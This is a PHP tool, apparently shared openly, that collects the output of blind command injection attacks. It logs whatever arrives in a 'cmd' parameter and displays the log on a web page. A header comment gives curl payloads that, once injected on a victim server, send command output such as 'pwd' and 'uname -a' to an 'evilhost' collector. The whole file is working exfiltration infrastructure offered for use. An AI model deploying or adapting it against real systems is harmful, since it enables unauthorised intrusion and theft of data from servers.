Command Output Recorder (Blind RCE & SSRF)

<?php
/*
    BLIND COMMAND INJECTION - OUTPUT RECORDER WITH CURL (WEB BASED)
    Coded By ZeroByte.ID (Schopath)

    [+] Payload :
    # curl -s "http://evilhost/cmd-read.php?cmd=$(pwd)";
    # curl -s --data-urlencode "cmd=$(uname -a)" -X POST "http://evilhost/cmd-read.php"
*/

error_log(0);
error_reporting(0);

$file = "cmdrec_".md5(date("Ymd")).".log";

if(!file_exists($file)) {
    file_put_contents("$file", "");
}

if(isset($_GET['cmd'])) {
    $record = $_GET['cmd'];
    $addcread = fopen($file, "a") or die("Failed open to open file!");
    fwrite($addcread, "--- Updated on ".date("Y-m-d h:i:s")." -----\n");
    fwrite($addcread, $record."\n");
    fwrite($addcread, "----------------------------------------\n");
    fclose($addcread);
}
else if (isset($_POST['cmd'])) {
    $record = $_POST['cmd'];
    $addcread = fopen($file, "a") or die("Failed open to open file!");
    fwrite($addcread, "--- Updated on ".date("Y-m-d h:i:s")." -----\n");
    fwrite($addcread, $record."\n");
    fwrite($addcread, "----------------------------------------\n");
    fclose($addcread);
}
else {
    echo "<pre>\n";
    echo "<b><big>##### BLIND COMMAND INJECTION - OUTPUT RECORDER #####</big></b><br>\n";
    print_r(file_get_contents($file));
    echo "</pre>\n";
    echo "<form method=\"post\"><input type=\"submit\" name=\"reset\" value=\"Reset Log\"></form>";
    if(isset($_POST['reset'])) {
        $addcread = fopen($file, "w") or die("Failed open to open file!");
        fwrite($addcread, "");
        fclose($addcread);
    }
}
?>